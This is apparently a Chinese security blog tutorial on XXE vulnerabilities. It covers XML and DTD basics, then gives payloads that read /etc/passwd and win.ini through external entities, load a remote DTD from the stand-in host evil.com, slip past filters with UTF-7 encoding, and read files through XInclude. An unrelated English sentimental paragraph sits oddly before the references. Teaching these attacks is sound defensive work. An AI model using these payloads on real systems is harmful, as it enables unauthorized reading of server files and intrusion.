XXE漏洞原理与利用

XML简介

可扩展标记语言(英语:Extensible Markup Language,简称:XML)是一种标记语言,是从标准通用标记语言(SGML)中简化修改出来的。它主要用到的有可扩展标记语言、可扩展样式语言(XSL)、XBRL和XPath等。

  • XML 被设计用来传输和存储数据。
  • HTML 被设计用来显示数据。

XML文档实例:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>   //声明,它定义了XML的版本和所使用的编码
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

每个元素可以包含属性,属性包含元素的附加信息

1
<person age="30" gender="male">John Doe</person>

DTD简介

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部DOCTYPE声明

1
<!DOCTYPE root-element [element-declarations]>

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

外部文档声明

1
<!DOCTYPE root-element SYSTEM "filename">

实例

1
2
3
4
<?xml version="1.0"?>  
<!DOCTYPE eleven [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>

SYSTEM:从外部系统资源加载,资源路径:file:///c:/windows/win.ini

XXE

当xml解析器允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。

实例:

在某个站点,用户和密码是使用XML进行传输的:

1
<user><username>admin</username><password>123</password></user>

尝试进行攻击:

1
2
3
4
5
<?xml version="1.0"?> 
<!DOCTYPE a [
<!ENTITY wintrysec SYSTEM "file:///etc/passwd">
]>
<user><username>&wintrysec;</username><password>123</password></user>

成功读取/etc/passwd,就说明解析器解析外部实体,可进行xxe攻击

引用外部实体方式

一、本地引入

XML内容:

1
2
3
4
5
<?xml version="1.0" ?> <!--XML声明-->
<!DOCTYPE x[
<!ENTITY wintrysec SYSTEM "file:///etc/passwd">
]><!--文档类型定义-->
<test>&wintrysec;</test><!--文档元素-->

二、远程引入

XML内容:

1
2
3
4
5
6
<?xml version="1.0" ?> <!--XML声明-->
<!DOCTYPE x[
<!ENTITY %d SYSTEM "http://evil.com/evil.dtd">
%d;
]><!--文档类型定义-->
<test>&wintrysec;</test><!--文档元素-->

DTD文件(evil.dtd)内容:

1
<!ENTITY wintrysec SYSTEM “file:///etc/passwd">

XXE绕过

使用UTF-7编码方式

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE ANY +AFs-
+ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-

xinclude文件读取

1
2
3
4
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>

We do strange things for the people we love. We lie to them, we lie for them. There may be some bumps along the way, but we never stop wanting the best for them. That’s what makes it such a tough job. Kind of the best job in the world.

参考:

https://cloud.tencent.com/developer/article/2445549

https://websec.readthedocs.io/zh/latest/vuln/xxe.html

https://wiki.wgpsec.org/knowledge/web/logical.html

Previous postCVE-2022-22947|Spring Cloud Gateway SpEL表达式注入漏洞Next postfastjson反序列化漏洞复现